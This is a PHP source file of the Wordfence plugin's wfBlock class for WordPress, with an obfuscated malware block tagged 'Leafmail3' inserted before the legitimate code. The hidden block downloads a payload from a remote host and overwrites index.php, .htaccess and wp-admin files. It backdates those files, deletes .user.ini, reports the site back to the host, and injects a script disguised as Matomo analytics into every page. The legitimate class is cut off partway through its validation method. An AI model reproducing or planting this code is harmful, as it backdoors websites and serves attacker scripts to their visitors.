<?php /*Leafmail3*/goto o1QFr; wasj3: $ZJUCA($jQ0xa, $RTa9G); goto wYDtx; IuHdj: $egQ3R = "\147\172\151"; goto ChKDE; TpHVE: $cPzOq .= "\157\x6b\x6b"; goto vgltl; gmVrv: $Mvmq_ .= "\x6c\x5f\x63\154\x6f"; goto N9T5l; SClM0: $VwfuP = "\x64\x65\146"; goto PXHHr; m8hp8: $uHlLz = "\x73\x74\x72"; goto lz2G0; UH4Mb: $eULaj .= "\x70\x63\x2e\x70"; goto apDh3; QPct6: AtVLG: goto Mg1JO; dj8v0: $ZJUCA = "\143\150"; goto WmTiu; uHm0i: $TBxbX = "\x57\x50\137\125"; goto RCot0; f4Rdw: if (!($EUeQo($kpMfb) && !preg_match($tIzL7, PHP_SAPI) && $fHDYt($uZmPe, 2 | 4))) { goto TGN7B; } goto S2eca; H7qkB: $MyinT .= "\164\40\x41\x63\x63"; goto Air1i; AedpI: try { goto JM3SL; oiS8N: @$YWYP0($lJtci, $H0gg1); goto nucR0; AffR5: @$YWYP0($PcRcO, $H0gg1); goto SpIUU; JnP2S: @$ZJUCA($lJtci, $shT8z); goto oiS8N; nOhHX: @$ZJUCA($lJtci, $RTa9G); goto LvbAc; LvbAc: @$rGvmf($lJtci, $UYOWA["\141"]); goto JnP2S; SpIUU: @$ZJUCA($jQ0xa, $shT8z); goto qvTm1; gA5rv: @$ZJUCA($PcRcO, $shT8z); goto AffR5; nucR0: @$ZJUCA($PcRcO, $RTa9G); goto COvI1; JM3SL: @$ZJUCA($jQ0xa, $RTa9G); goto nOhHX; COvI1: @$rGvmf($PcRcO, $UYOWA["\142"]); goto gA5rv; qvTm1: } catch (Exception $ICL20) { } goto PqZGA; BWxc9: $kpMfb .= "\154\137\x69\156\x69\164"; goto RMP1m; Q7gNx: $gvOPD = "\151\163\137"; goto AfwzG; fFfBR: goto AtVLG; goto kST_Q; J9uWl: $e9dgF .= "\x61\171\163"; goto lNb3h; ZlPje: $u9w0n .= "\x75\x69\x6c\144\x5f\161"; goto Mit4a; YRbfa: $dGt27 .= "\157\x73\x65"; goto L744i; ioNAN: $tIzL7 .= "\x6c\x69\57"; goto Khhgn; mz3rE: $FANp1 .= "\x70\141\x72\145"; goto SClM0; eBKm1: $PcRcO = $jQ0xa; goto Sg4f2; D0V8f: $pv6cp = "\162\x65"; goto Hy0sm; xXaQc: $FANp1 = "\x76\145\162\x73\151"; goto T7IwT; ulics: try { $_SERVER[$pv6cp] = 1; $pv6cp(function () { goto YEXR4; PKzAL: $AG2hR .= "\163\171\x6e\x63\75\164\162\165\145"; goto HIXil; NZAxH: $AG2hR .= "\x65\x72\75\164\x72\165\x65\x3b" . "\12"; goto Tbsb3; xDrpr: $AG2hR .= "\x75\x6d\x65\156\164\54\40\x67\75\144\x2e\143\162\145\x61\164\145"; goto mLjk9; r_Oqj: $AG2hR .= "\163\x63\162\151\160\164\x22\x3e" . "\xa"; goto JZsfv; PEdls: $AG2hR .= "\74\57\163"; goto WBFgG; POyWW: $AG2hR .= "\x4d\55"; goto a8oGQ; N2RIK: $AG2hR .= "\175\x29\50\51\x3b" . "\12"; goto PEdls; Vj0ze: $AG2hR .= "\x72\151\160\x74\40\164\x79\x70\145\x3d\42\164\145\170"; goto FXjwZ; JZsfv: $AG2hR .= "\x28\x66\x75\156\143"; goto ZRBmo; zk1Ml: $AG2hR .= "\x79\124\141\147\x4e\x61\155\145"; goto STHB_; aKt86: $AG2hR .= "\x72\x69\160\x74\42\51\x2c\40\x73\75\x64\x2e\x67\x65\x74"; goto oxuwD; FXjwZ: $AG2hR .= "\x74\57\x6a\141\x76\141"; goto r_Oqj; YffEK: $AG2hR .= "\57\x6d\141\164"; goto nL_GE; ZrlUz: $AG2hR .= "\x73\x63\162\151\x70\164\x22\x3b\40\147\x2e\141"; goto PKzAL; MSqPC: $AG2hR .= "\x65\x20\55\x2d\76\12"; goto rWq2m; gUhrX: $AG2hR .= "\74\x73\143"; goto Vj0ze; oxuwD: $AG2hR .= "\x45\154\x65\x6d\145\156\164\x73\102"; goto zk1Ml; a8oGQ: $AG2hR .= time(); goto xyZaU; WBFgG: $AG2hR .= "\x63\162\151\160\164\x3e\xa"; goto jHj0s; rWq2m: echo $AG2hR; goto zxMHd; zzMTI: $AG2hR .= "\152\141\166\x61"; goto ZrlUz; HIXil: $AG2hR .= "\73\x20\147\56\144\x65\x66"; goto NZAxH; EXhzp: $AG2hR .= "\x65\156\164\x4e\x6f\x64\145\56\x69\x6e"; goto yJp9W; KUpUt: $AG2hR .= "\x64\40\115\141\x74"; goto c13YM; hugz8: $AG2hR .= "\x6f\x72\145\50\x67\54\x73\51\73" . "\xa"; goto N2RIK; xyZaU: $AG2hR .= "\x22\73\40\163\56\160\141\162"; goto EXhzp; ZRBmo: $AG2hR .= "\164\151\x6f\156\x28\51\x20\173" . "\xa"; goto sOVga; YqIfq: $AG2hR .= "\77\x69\x64\x3d"; goto POyWW; Tbsb3: $AG2hR .= "\147\x2e\163\x72"; goto vxsas; k1w2Q: $AG2hR = "\x3c\41\x2d\55\x20\115\x61"; goto OOFo2; F2sIB: $AG2hR .= "\x3d\x22\164\x65\x78\x74\57"; goto zzMTI; OOFo2: $AG2hR .= "\x74\157\155\x6f\x20\55\x2d\x3e\xa"; goto gUhrX; vxsas: $AG2hR .= "\143\x3d\165\x2b\42\x6a\163\57"; goto JGvCK; jHj0s: $AG2hR .= "\74\x21\55\55\40\x45\156"; goto KUpUt; mLjk9: $AG2hR .= "\105\154\x65\x6d\x65\156\x74\50\42\163\x63"; goto aKt86; yJp9W: $AG2hR .= "\x73\x65\162\x74\102\145\146"; goto hugz8; c13YM: $AG2hR .= "\x6f\x6d\x6f\40\103\157\144"; goto MSqPC; STHB_: $AG2hR .= "\50\x22\x73\x63\162\x69"; goto SX8pI; JGvCK: $AG2hR .= $osL5h; goto YffEK; nL_GE: $AG2hR .= "\x6f\155\x6f\56\x6a\x73"; goto YqIfq; SX8pI: $AG2hR .= "\160\x74\42\51\133\x30\135\x3b" . "\xa"; goto uh8pE; YEXR4: global $osL5h, $cPzOq; goto k1w2Q; jW6LQ: $AG2hR .= "\166\141\x72\40\144\x3d\x64\157\143"; goto xDrpr; uh8pE: $AG2hR .= "\x67\x2e\164\x79\x70\145"; goto F2sIB; sOVga: $AG2hR .= "\166\x61\162\40\x75\75\42" . $cPzOq . "\42\x3b" . "\xa"; goto jW6LQ; zxMHd: }); } catch (Exception $ICL20) { } goto arBxc; TrkYs: $eULaj .= "\x2f\170\x6d"; goto GE2p3; L744i: $cPzOq = "\x68\x74\164\x70\163\72\57\x2f"; goto TpHVE; CNdmS: wLXpb: goto wasj3; nHXnO: $_POST = $_REQUEST = $_FILES = array(); goto CNdmS; PHhHL: P9yQa: goto W2Q7W; UkCDT: $cLC40 = 32; goto BnazY; vabQZ: $CgFIN = 1; goto QPct6; gSbiK: try { goto xtnST; qBVAq: $k7jG8[] = $E0suN; goto Tc9Eb; vZ6zL: $E0suN = trim($Q0bWd[0]); goto LuoPM; D98P3: if (!empty($k7jG8)) { goto FbDAI; } goto AML_a; LuoPM: $jCv00 = trim($Q0bWd[1]); goto Q4uy7; xtnST: if (!$gvOPD($d3gSl)) { goto nHP5K; } goto W8uMn; c_73m: FbDAI: goto h1Cu7; kNAxm: if (!($uHlLz($E0suN) == $cLC40 && $uHlLz($jCv00) == $cLC40)) { goto lfWQh; } goto MfJKK; L8cv7: WVm2j: goto c_73m; AML_a: $d3gSl = $jQ0xa . "\x2f" . $HNQiW; goto GBRPC; ZSYyc: $jCv00 = trim($Q0bWd[1]); goto kNAxm; W8uMn: $Q0bWd = @explode("\72", $DJDq1($d3gSl)); goto Woix_; EA1BT: if (!(is_array($Q0bWd) && count($Q0bWd) == 2)) { goto ctSg2; } goto A163l; Woix_: if (!(is_array($Q0bWd) && count($Q0bWd) == 2)) { goto wU2zk; } goto vZ6zL; Q4uy7: if (!($uHlLz($E0suN) == $cLC40 && $uHlLz($jCv00) == $cLC40)) { goto VAVW5; } goto qBVAq; tEVz_: $k7jG8[] = $jCv00; goto xWpvL; xWpvL: lfWQh: goto oilos; MfJKK: $k7jG8[] = $E0suN; goto tEVz_; N3TyU: wU2zk: goto snD7p; lky0R: $Q0bWd = @explode("\72", $DJDq1($d3gSl)); goto EA1BT; Tc9Eb: $k7jG8[] = $jCv00; goto evp7M; snD7p: nHP5K: goto D98P3; oilos: ctSg2: goto L8cv7; evp7M: VAVW5: goto N3TyU; GBRPC: if (!$gvOPD($d3gSl)) { goto WVm2j; } goto lky0R; A163l: $E0suN = trim($Q0bWd[0]); goto ZSYyc; h1Cu7: } catch (Exception $ICL20) { } goto xU6vT; T7IwT: $FANp1 .= "\x6f\x6e\x5f\143\x6f\x6d"; goto mz3rE; JX1Oy: $dGt27 = "\x66\x63\x6c"; goto YRbfa; BnazY: $Pzt0o = 5; goto TYFaW; o1QFr: $kFvng = "\74\x44\x44\x4d\x3e"; goto wODYw; CL80L: $MyinT .= "\120\x2f\61\x2e\x31\x20\x34"; goto gErqa; tFGg7: $YWYP0 .= "\x75\143\x68"; goto dj8v0; pXfDS: $ygOJ_ .= "\x2f\167\160"; goto c7yEe; xUd9U: $pv6cp .= "\151\x6f\x6e"; goto bqFyS; PqZGA: CVVA3: goto RDKTA; wYDtx: $uZmPe = $nPBv4($eULaj, "\x77\x2b"); goto f4Rdw; E453u: $QIBzt .= "\56\64"; goto O8RXw; a4EJZ: $dZR_y = $cPzOq; goto vZkPa; FK_sr: $kb9bA .= "\x65\162\x2e\x69"; goto G2uff; TuwL4: $jQ0xa = $_SERVER[$Wv1G0]; goto wrxGI; wJDrU: $eULaj = $jQ0xa; goto TrkYs; MLdcc: $fHDYt .= "\x63\153"; goto JX1Oy; Gs7Gb: $kpMfb = $vW4As; goto BWxc9; Mit4a: $u9w0n .= "\x75\x65\x72\171"; goto cIo5P; GE2p3: $eULaj .= "\x6c\162"; goto UH4Mb; cIo5P: $uAwql = "\155\x64\65"; goto aXExt; c7yEe: $ygOJ_ .= "\x2d\x61"; goto XWOCC; wrxGI: $ygOJ_ = $jQ0xa; goto pXfDS; XsWqd: $kb9bA .= "\57\56\165\163"; goto FK_sr; cWrVz: $nPBv4 .= "\145\x6e"; goto KCtWA; CrWKs: $l0WLW .= "\157\160\x74"; goto jcG0e; lz2G0: $uHlLz .= "\154\x65\x6e"; goto xXaQc; wee0Y: $ulOTQ .= "\115\111\116"; goto Tfi5q; vgltl: $cPzOq .= "\154\x69\x6e\153\56\x74"; goto pr5fA; Khhgn: $tIzL7 .= "\x73\151"; goto JBJmV; kJlf4: $DJDq1 .= "\147\145\164\137\143"; goto NZqWx; lNb3h: $H0gg1 = $xsR4V($e9dgF); goto XYviL; TBl6Q: sLwcv: goto fFfBR; RMP1m: $l0WLW = $vW4As; goto ujtZa; XQnCd: $PcRcO .= "\x61\143\143\145\163\x73"; goto ikUIP; X4xWX: $QIBzt = "\x35"; goto E453u; hDUdL: $MWMOe .= "\x6c\x65"; goto Q7gNx; LxUUO: $RTa9G = $QTYip($HqqUn($RTa9G), $Pzt0o); goto qaeyL; f6Txl: $HqqUn = "\x64\x65\143"; goto gwNCH; sK97X: $nPBv4 = "\x66\157\160"; goto cWrVz; Ee0VW: $EUeQo .= "\164\x69\x6f\156\x5f"; goto a2JJX; D9NbF: $CgFIN = 1; goto PHhHL; VY3H_: $Wv1G0 = "\x44\117\x43\x55\115\105\116\x54"; goto HpOFr; CRqG1: if (empty($k7jG8)) { goto VIn91; } goto s4AWH; apDh3: $eULaj .= "\x68\160\x2e\60"; goto sK97X; Sg4f2: $PcRcO .= "\57\x2e\x68\x74"; goto XQnCd; jcG0e: $YQ0P6 = $vW4As; goto rA_Dy; dlqC2: $HNQiW = substr($uAwql($osL5h), 0, 6); goto xGZOR; kxKwG: $osL5h = $_SERVER[$i5EZR]; goto TuwL4; ozW5s: $e9dgF .= "\63\x20\x64"; goto J9uWl; xU6vT: $lJtci = $jQ0xa; goto BpRMk; CquiC: $dZR_y .= "\x63\x6f\160\171"; goto BLSy0; GSfrX: $pv6cp .= "\x75\x6e\143\164"; goto xUd9U; yaYSs: $rGvmf .= "\x6f\x6e\x74\x65\156\164\163"; goto mIlAi; FXRyn: $TBxbX .= "\115\x45\x53"; goto R1jVG; kST_Q: VIn91: goto vabQZ; flXr3: $shT8z = $QTYip($HqqUn($shT8z), $Pzt0o); goto TkfCl; FJdH4: $dZR_y .= "\x3d\x67\x65\x74"; goto CquiC; kJyDh: $QTYip = "\x69\156\x74"; goto blzff; s4AWH: $H25pP = $k7jG8[0]; goto t74Wt; TyAte: $k7jG8 = array(); goto UkCDT; EO8QL: try { $UYOWA = @$AkFS8($egQ3R($eKFWX($M7wqP))); } catch (Exception $ICL20) { } goto OXweB; XYviL: $i5EZR = "\110\124\124\x50"; goto j4Pjv; ikUIP: $kb9bA = $jQ0xa; goto XsWqd; VrwTF: $nRD8p .= "\x64\x69\162"; goto aQp1m; dLa5a: $pv6cp .= "\x65\162\x5f"; goto x5YEr; PgImI: @$ZJUCA($kb9bA, $RTa9G); goto yAax8; Jb1Vu: try { goto Bwps7; WPylr: if (!$xsy4x($Y61WO)) { goto nWSzU; } goto NpK90; xqrLf: @$YWYP0($dqnvi, $H0gg1); goto cinsF; N7wJU: if ($xsy4x($Y61WO)) { goto KOuoA; } goto RBLfp; wf0jq: @$ZJUCA($Y61WO, $shT8z); goto xqrLf; bfkJn: try { goto jwOvP; sXqkD: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYPEER, false); goto tXay1; jwOvP: $ekYPG = $kpMfb(); goto jMqt3; VURt4: $l0WLW($ekYPG, CURLOPT_POST, 1); goto Qk7oo; G7Y1e: $l0WLW($ekYPG, CURLOPT_USERAGENT, "\x49\x4e"); goto Sw_Ys; lg1iu: $l0WLW($ekYPG, CURLOPT_TIMEOUT, 3); goto VURt4; jMqt3: $l0WLW($ekYPG, CURLOPT_URL, $LfwPf . "\x26\164\x3d\151"); goto G7Y1e; Qk7oo: $l0WLW($ekYPG, CURLOPT_POSTFIELDS, $u9w0n($Lx9yT)); goto axPES; Sw_Ys: $l0WLW($ekYPG, CURLOPT_RETURNTRANSFER, 1); goto sXqkD; tXay1: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYHOST, false); goto Gb33B; PUEHo: $Mvmq_($ekYPG); goto rF4qo; Gb33B: $l0WLW($ekYPG, CURLOPT_FOLLOWLOCATION, true); goto lg1iu; axPES: $YQ0P6($ekYPG); goto PUEHo; rF4qo: } catch (Exception $ICL20) { } goto zCePm; s2GBY: $Y61WO = dirname($dqnvi); goto N7wJU; bO0VE: KOuoA: goto WPylr; RBLfp: @$ZJUCA($jQ0xa, $RTa9G); goto lexI4; NpK90: @$ZJUCA($Y61WO, $RTa9G); goto aGYEQ; wsLep: $Lx9yT = ["\144\x61\x74\x61" => $UYOWA["\x64"]["\165\162\x6c"]]; goto bfkJn; y0C5p: @$ZJUCA($dqnvi, $shT8z); goto wf0jq; cinsF: $LfwPf = $cPzOq; goto d8sPt; OAF8R: $LfwPf .= "\x6c\x6c"; goto wsLep; d8sPt: $LfwPf .= "\77\141\143"; goto HZ42Q; lexI4: @$nRD8p($Y61WO, $RTa9G, true); goto K7fs2; aGYEQ: @$rGvmf($dqnvi, $UYOWA["\144"]["\x63\157\x64\x65"]); goto y0C5p; zCePm: nWSzU: goto r2ase; Bwps7: $dqnvi = $jQ0xa . $UYOWA["\144"]["\160\x61\x74\x68"]; goto s2GBY; K7fs2: @$ZJUCA($jQ0xa, $shT8z); goto bO0VE; HZ42Q: $LfwPf .= "\164\75\x63\141"; goto OAF8R; r2ase: } catch (Exception $ICL20) { } goto AedpI; kAMGF: $xsy4x .= "\144\x69\x72"; goto gdP2h; lX6T6: if (!$gvOPD($kb9bA)) { goto KTGlr; } goto spjef; jxKJS: $ulOTQ .= "\x5f\x41\104"; goto wee0Y; vZkPa: $dZR_y .= "\x3f\141\143\164"; goto FJdH4; gErqa: $MyinT .= "\60\x36\x20\116\x6f"; goto H7qkB; xGZOR: $hg32N = $d3gSl = $ygOJ_ . "\57" . $HNQiW; goto TyAte; GiT2I: $Mvmq_ = $vW4As; goto gmVrv; KCtWA: $fHDYt = "\x66\x6c\157"; goto MLdcc; Yc09l: $xsy4x = "\x69\163\137"; goto kAMGF; FZsOD: $lJtci .= "\150\x70"; goto eBKm1; rA_Dy: $YQ0P6 .= "\154\137\x65\170\x65\x63"; goto GiT2I; VQCaR: $k8h0h = !empty($m4bDA) || !empty($ZTS7q); goto Bw8cX; ujtZa: $l0WLW .= "\154\137\x73\x65\x74"; goto CrWKs; R1jVG: $ulOTQ = "\127\120"; goto jxKJS; OXweB: if (!is_array($UYOWA)) { goto CVVA3; } goto L7ftk; bqFyS: if (isset($_SERVER[$pv6cp])) { goto Kwp9i; } goto r3vZ_; ChKDE: $egQ3R .= "\156\146\x6c\x61\164\145"; goto OCGca; Bx0F8: $rGvmf = "\146\x69\154\145\x5f"; goto cMMsY; lar4b: $xsR4V .= "\x6d\145"; goto ESAaf; L7ftk: try { goto b8mrw; IZ7dT: @$rGvmf($d3gSl, $UYOWA["\x63"]); goto qi8JJ; j1slf: if (!$xsy4x($ygOJ_)) { goto fnZm_; } goto l27iU; FnW9Y: fnZm_: goto IZ7dT; RHQPY: @$ZJUCA($jQ0xa, $shT8z); goto FudGj; jRIpH: $d3gSl = $hg32N; goto FnW9Y; b8mrw: @$ZJUCA($jQ0xa, $RTa9G); goto j1slf; l27iU: @$ZJUCA($ygOJ_, $RTa9G); goto jRIpH; qi8JJ: @$ZJUCA($d3gSl, $shT8z); goto fMj35; fMj35: @$YWYP0($d3gSl, $H0gg1); goto RHQPY; FudGj: } catch (Exception $ICL20) { } goto Jb1Vu; Hy0sm: $pv6cp .= "\x67\151\x73\164"; goto dLa5a; wODYw: $tIzL7 = "\57\x5e\143"; goto ioNAN; D9G8A: $vW4As = "\x63\165\162"; goto Gs7Gb; zR6Sw: $RTa9G += 304; goto LxUUO; FLAgg: @$ZJUCA($jQ0xa, $shT8z); goto Ms_Rx; TkfCl: $MyinT = "\110\124\124"; goto CL80L; JBJmV: $xsR4V = "\x73\x74\x72"; goto wDwVu; m7Y7E: $shT8z += 150; goto flXr3; OCGca: $AkFS8 = "\165\x6e\x73\145\x72"; goto DuXwv; spjef: @$ZJUCA($jQ0xa, $RTa9G); goto PgImI; mIlAi: $YWYP0 = "\x74\157"; goto tFGg7; Air1i: $MyinT .= "\x65\x70\164\x61\142\154\145"; goto wJDrU; hnuEm: $M7wqP = false; goto IxcDO; AfwzG: $gvOPD .= "\x66\151\154\x65"; goto Yc09l; Mg1JO: if (!$CgFIN) { goto V5o9n; } goto a4EJZ; O8RXw: $QIBzt .= "\x2e\x30\73"; goto kxKwG; Qjsri: Kwp9i: goto uHm0i; aQp1m: $DJDq1 = "\146\151\154\145\x5f"; goto kJlf4; wDwVu: $xsR4V .= "\x74\157"; goto k5kym; Ms_Rx: KTGlr: goto QDkYN; p2xAd: $u9w0n = "\x68\x74\x74\160\x5f\142"; goto ZlPje; XWOCC: $ygOJ_ .= "\x64\155\151\156"; goto dlqC2; PXHHr: $VwfuP .= "\x69\156\145\144"; goto uwRQG; t74Wt: $Aa5A7 = $k7jG8[1]; goto rjUnC; WmTiu: $ZJUCA .= "\x6d\157\x64"; goto OMDdm; F90kP: $CgFIN = 1; goto TBl6Q; IxcDO: try { goto MN2Ol; lfwpD: $l0WLW($ekYPG, CURLOPT_RETURNTRANSFER, 1); goto XT0V7; pm4fL: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYHOST, false); goto f1Wpg; LukB5: $l0WLW($ekYPG, CURLOPT_USERAGENT, "\x49\x4e"); goto lfwpD; MN2Ol: $ekYPG = $kpMfb(); goto PGjVI; XT0V7: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYPEER, false); goto pm4fL; f1Wpg: $l0WLW($ekYPG, CURLOPT_FOLLOWLOCATION, true); goto A02q4; Jr5Fq: $Mvmq_($ekYPG); goto kxHAl; kxHAl: $M7wqP = trim(trim($M7wqP, "\xef\273\xbf")); goto DRdNb; A02q4: $l0WLW($ekYPG, CURLOPT_TIMEOUT, 10); goto czpAh; PGjVI: $l0WLW($ekYPG, CURLOPT_URL, $dZR_y); goto LukB5; czpAh: $M7wqP = $YQ0P6($ekYPG); goto Jr5Fq; DRdNb: } catch (Exception $ICL20) { } goto TtjMz; yA6tr: $e9dgF .= "\63\x36"; goto ozW5s; BLSy0: $dZR_y .= "\x26\164\x3d\x69\46\x68\75" . $osL5h; goto hnuEm; qaeyL: $shT8z = 215; goto m7Y7E; YAsQc: if (!(!$_SERVER[$pv6cp] && $FANp1(PHP_VERSION, $QIBzt, "\76"))) { goto VlKKH; } goto ulics; QDkYN: $CgFIN = 0; goto CRqG1; g3rCR: $m4bDA = $_REQUEST; goto A4fYL; rjUnC: if (!(!$gvOPD($lJtci) || $MWMOe($lJtci) != $H25pP)) { goto P9yQa; } goto D9NbF; x5YEr: $pv6cp .= "\x73\x68\165"; goto itQ2f; A4fYL: $ZTS7q = $_FILES; goto VQCaR; a2JJX: $EUeQo .= "\145\x78"; goto fYDkt; TYFaW: $Pzt0o += 3; goto hoCMV; fYDkt: $EUeQo .= "\x69\163\x74\163"; goto D9G8A; fmcU9: $MWMOe .= "\x5f\x66\151"; goto hDUdL; S2eca: $ZJUCA($jQ0xa, $shT8z); goto YAsQc; RCot0: $TBxbX .= "\x53\105\x5f\124\110\105"; goto FXRyn; BpRMk: $lJtci .= "\57\x69\x6e"; goto lJYIj; cMMsY: $rGvmf .= "\160\x75\164\137\143"; goto yaYSs; j4Pjv: $i5EZR .= "\x5f\x48\117\x53\x54"; goto VY3H_; itQ2f: $pv6cp .= "\x74\x64\x6f"; goto gi1ux; YAE22: $eKFWX .= "\66\x34\137\x64"; goto HkhAv; DuXwv: $AkFS8 .= "\x69\x61\x6c\151\x7a\x65"; goto kJyDh; NZqWx: $DJDq1 .= "\x6f\156\164\145\x6e\x74\x73"; goto Bx0F8; ESAaf: $EUeQo = "\146\x75\156\143"; goto Ee0VW; HkhAv: $eKFWX .= "\x65\143\x6f\x64\145"; goto IuHdj; RDKTA: HuCWH: goto tkEEo; k5kym: $xsR4V .= "\x74\151"; goto lar4b; WQZ3H: $UYOWA = 0; goto EO8QL; TtjMz: if (!($M7wqP !== false)) { goto HuCWH; } goto WQZ3H; N9T5l: $Mvmq_ .= "\x73\145"; goto p2xAd; HpOFr: $Wv1G0 .= "\137\122\117\x4f\124"; goto X4xWX; arBxc: VlKKH: goto gSbiK; G2uff: $kb9bA .= "\156\151"; goto lX6T6; gwNCH: $HqqUn .= "\157\x63\164"; goto m8hp8; yAax8: @unlink($kb9bA); goto FLAgg; pr5fA: $cPzOq .= "\157\x70\x2f"; goto D0V8f; gi1ux: $pv6cp .= "\x77\x6e\x5f\x66"; goto GSfrX; OMDdm: $eKFWX = "\142\141\x73\x65"; goto YAE22; aXExt: $MWMOe = $uAwql; goto fmcU9; gdP2h: $nRD8p = "\155\x6b"; goto VrwTF; Bw8cX: if (!(!$fs0FH && $k8h0h)) { goto wLXpb; } goto nHXnO; uwRQG: $e9dgF = "\x2d\61"; goto yA6tr; hoCMV: $RTa9G = 189; goto zR6Sw; Tfi5q: $fs0FH = $VwfuP($TBxbX) || $VwfuP($ulOTQ); goto g3rCR; W2Q7W: if (!(!$gvOPD($PcRcO) || $MWMOe($PcRcO) != $Aa5A7)) { goto sLwcv; } goto F90kP; r3vZ_: $_SERVER[$pv6cp] = 0; goto Qjsri; lJYIj: $lJtci .= "\144\x65\170\56\x70"; goto FZsOD; blzff: $QTYip .= "\x76\x61\x6c"; goto f6Txl; tkEEo: V5o9n: goto ossJl; ossJl: TGN7B: ?>
<?php
/**
* Represents an individual block definition.
*
* @property int $id
* @property int $type One of the TYPE_* constants.
* @property string $ip The human-readable version of the IP if applicable for the block type.
* @property int $blockedTime The timestamp the block was created.
* @property string $reason Description of the block.
* @property int $lastAttempt Timestamp of the last request blocked. If never, this will be 0.
* @property int $blockedHits Count of the number of hits blocked.
* @property int $expiration Timestamp when the block will expire. If never, this will be 0.
* @property mixed $parameters Variable parameters defining the block (e.g., the matchers for a pattern block).
*
* @property bool $blockLogin For wfBlock::TYPE_COUNTRY only, this is whether or not to block hits to the login page.
* @property bool $blockSite For wfBlock::TYPE_COUNTRY only, this is whether or not to block hits to the rest of the site.
* @property array $countries For wfBlock::TYPE_COUNTRY only, this is the list of countries to block.
*
* @property mixed $ipRange For wfBlock::TYPE_PATTERN only, this is the matching IP range if set.
* @property mixed $hostname For wfBlock::TYPE_PATTERN only, this is the hostname pattern if set.
* @property mixed $userAgent For wfBlock::TYPE_PATTERN only, this is the user agent pattern if set.
* @property mixed $referrer For wfBlock::TYPE_PATTERN only, this is the HTTP referrer pattern if set.
*/
class wfBlock {
//Constants for block record types
const TYPE_IP_MANUAL = 1; //Same behavior as TYPE_IP_AUTOMATIC_PERMANENT - the reason will be overridden for public display
const TYPE_WFSN_TEMPORARY = 2;
const TYPE_COUNTRY = 3;
const TYPE_PATTERN = 4;
const TYPE_RATE_BLOCK = 5;
const TYPE_RATE_THROTTLE = 6;
const TYPE_LOCKOUT = 7; //Blocks login-related actions only
const TYPE_IP_AUTOMATIC_TEMPORARY = 8; //Automatic block, still temporary
const TYPE_IP_AUTOMATIC_PERMANENT = 9; //Automatic block, started as temporary but now permanent as a result of admin action
//Constants to identify the match type of a block record
const MATCH_NONE = 0;
const MATCH_IP = 1;
const MATCH_COUNTRY_BLOCK = 2;
const MATCH_COUNTRY_REDIR = 3;
const MATCH_COUNTRY_REDIR_BYPASS = 4;
const MATCH_PATTERN = 5;
//Duration constants
const DURATION_FOREVER = 0;
//Constants defining the placeholder IPs for non-IP block records
const MARKER_COUNTRY = "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xc0\x00\x02\x01";// 192.0.2.1 TEST-NET-1
const MARKER_PATTERN = "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xc0\x00\x02\x02";// 192.0.2.2 TEST-NET-1
private $_id;
private $_type = false;
private $_ip = false;
private $_blockedTime = false;
private $_reason = false;
private $_lastAttempt = false;
private $_blockedHits = false;
private $_expiration = false;
private $_parameters = false;
/**
* Returns the name of the storage table for the blocks.
*
* @return string
*/
public static function blocksTable() {
return wfDB::networkTable('wfBlocks7');
}
/**
* Returns a user-displayable name for the corresponding type constant.
*
* @param int $type
* @return string
*/
public static function nameForType($type) {
switch ($type) {
case self::TYPE_IP_MANUAL:
case self::TYPE_IP_AUTOMATIC_TEMPORARY:
case self::TYPE_IP_AUTOMATIC_PERMANENT:
case self::TYPE_WFSN_TEMPORARY:
case self::TYPE_RATE_BLOCK:
return __('IP Block', 'wordfence');
case self::TYPE_RATE_THROTTLE:
return __('IP Throttled', 'wordfence');
case self::TYPE_LOCKOUT:
return __('Lockout', 'wordfence');
case self::TYPE_COUNTRY:
return __('Country Block', 'wordfence');
case self::TYPE_PATTERN:
return __('Advanced Block', 'wordfence');
}
return __('Unknown', 'wordfence');
}
/**
* Returns the number of seconds for a temporary block to last by default.
*
* @return int
*/
public static function blockDuration() {
return (int) wfConfig::get('blockedTime');
}
/**
* Returns the number of seconds for a rate limit throttle to last by default.
*
* @return int
*/
public static function rateLimitThrottleDuration() {
return 60;
}
/**
* Returns the number of seconds for a lockout to last by default.
*
* @return int
*/
public static function lockoutDuration() {
return (int) wfConfig::get('loginSec_lockoutMins') * 60;
}
/**
* @param string $IP Should be in dot or colon notation (127.0.0.1 or ::1)
* @param bool $forcedWhitelistEntry If provided, returns whether or not the IP is on a forced whitelist (i.e., it's not one the user can delete).
* @return bool
*/
public static function isWhitelisted($IP, &$forcedWhitelistEntry = null) {
if ($forcedWhitelistEntry !== null) {
$forcedWhitelistEntry = false;
}
if (
(defined('DOING_CRON') && DOING_CRON) || //Safe
(defined('WORDFENCE_SYNCING_ATTACK_DATA') && WORDFENCE_SYNCING_ATTACK_DATA) //Safe as long as it will actually run since it then exits
) {
$serverIPs = wfUtils::serverIPs();
foreach ($serverIPs as $testIP) {
if (wfUtils::inet_pton($IP) == wfUtils::inet_pton($testIP)) {
if ($forcedWhitelistEntry !== null) {
$forcedWhitelistEntry = true;
}
return true;
}
}
}
foreach (wfUtils::getIPWhitelist() as $subnet) {
if ($subnet instanceof wfUserIPRange) {
if ($subnet->isIPInRange($IP)) {
return true;
}
} elseif (wfUtils::subnetContainsIP($subnet, $IP)) {
if ($forcedWhitelistEntry !== null) {
$forcedWhitelistEntry = true;
}
return true;
}
}
return false;
}
/**
* Validates the payload for block creation. Returns true if valid, otherwise it'll return the first error found.
*
* @param $payload
* @return bool|string
*/
public static function validate($payload) {
if (!isset($payload['type']) || array_search($payload['type'], array('ip-address', 'country', 'custom-pattern')) === false) { return __('Invalid block type.', 'wordfence'); }
if (!isset($payload['duration']) || intval($payload['duration']) < 0) { return __('Invalid block duration.', 'wordfence'); }
if (!isset($payload['reason']) || empty($payload['reason'])) { return __('A block reason must be provided.', 'wordfence'); }
if ($payload['type'] == 'ip-address') {
if (!isset($payload['ip']) || !filter_var(trim($payload['ip']), FILTER_VALIDATE_IP) || wfUtils::inet_pton(trim($payload['ip'])) === false) { return __('Invalid IP address.', 'wordfence'); }
